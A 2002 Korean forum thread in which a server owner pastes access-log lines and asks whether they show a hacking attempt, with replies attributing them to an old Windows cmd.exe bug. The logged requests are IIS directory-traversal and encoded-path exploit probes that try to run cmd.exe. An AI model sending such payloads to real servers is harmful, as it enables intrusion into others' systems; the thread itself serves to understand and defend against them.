진짜로 해킹시도 인가요?
저도 저와 같은 로그흔적이 남은게 있던데..
어느 부분이 그런 시도의 흔적이라고 볼수 있죠?
 /c/winnt/system32/cmd.exe?/c+dir 이부분인가요?
/MSADC/root.exe?/c+dir 그렇타면...이부분??
 어느부분이죠? -_-"a
   : 한때 윈도우 cmd.exe 파일에 대한 버그가 있었던걸로 아는데..
: 그 버그를 이용한 해킹시도 같군요.. 멍청한 해커라고 해야하나 --;;
:
: : 아래는 저의 access_log파일 중 일부입니다...
: : 아게 뭘 뜻하는 것인지 궁금해서 그러니...
: : 답변 좀 부탁드립니다...^^
: :
: : 오늘은 비가 오네요...봄비라서 그런지...
: : 날씨가 좀 눅눅하긴 하지만...
: : 기분은 좋네요...^^
: :
: : 그럼 즐거운 하루들 되세요...^^
: :
: :
====================================================================
: : 211.221.52.99 - - [18/Feb/2002:02:19:16
+0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278
: : 211.221.52.99 - - [18/Feb/2002:02:19:19
+0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
: : 211.221.52.99 - - [18/Feb/2002:02:19:22
+0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288
: : 211.221.52.99 - - [18/Feb/2002:02:19:25 +0900] "GET /scripts/..%
255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
: : 211.221.52.99 - - [18/Feb/2002:02:19:28 +0900] "GET /_vti_bin/..%
255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
319
: : 211.221.52.99 - - [18/Feb/2002:02:19:31 +0900] "GET /_mem_bin/..%
255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
319
: : 211.221.52.99 - - [18/Feb/2002:02:19:34 +0900] "GET /msadc/..%
255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%
1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335
: : 211.221.52.99 - - [18/Feb/2002:02:19:38 +0900] "GET /scripts/..%c1%
1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
: : 211.221.52.99 - - [18/Feb/2002:02:19:41 +0900] "GET /scripts/..%c0%
2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
: : 211.221.52.99 - - [18/Feb/2002:02:19:44 +0900] "GET /scripts/..%c0%
af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
: : 211.221.52.99 - - [18/Feb/2002:02:19:47 +0900] "GET /scripts/..%c1%
9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
: : 211.221.52.99 - - [18/Feb/2002:02:19:51 +0900] "GET /scripts/..%%
35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
: : 211.221.52.99 - - [18/Feb/2002:02:19:54 +0900] "GET /scripts/..%%
35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285
: : 211.221.52.99 - - [18/Feb/2002:02:19:57 +0900] "GET /scripts/..%25%
35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
: : 211.221.52.99 - - [18/Feb/2002:02:20:01 +0900] "GET /scripts/..%
252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
: : ==================================================================
: :
: : 아시는 분은 답글이나 메일 좀 부탁드립니다...^^
:
: --
: 좋은 2002년 봄.... 새학기--비전을 가지십시오.
누군가가 만들어 주는게 아니고 자신이 만들어 가는 것입니다.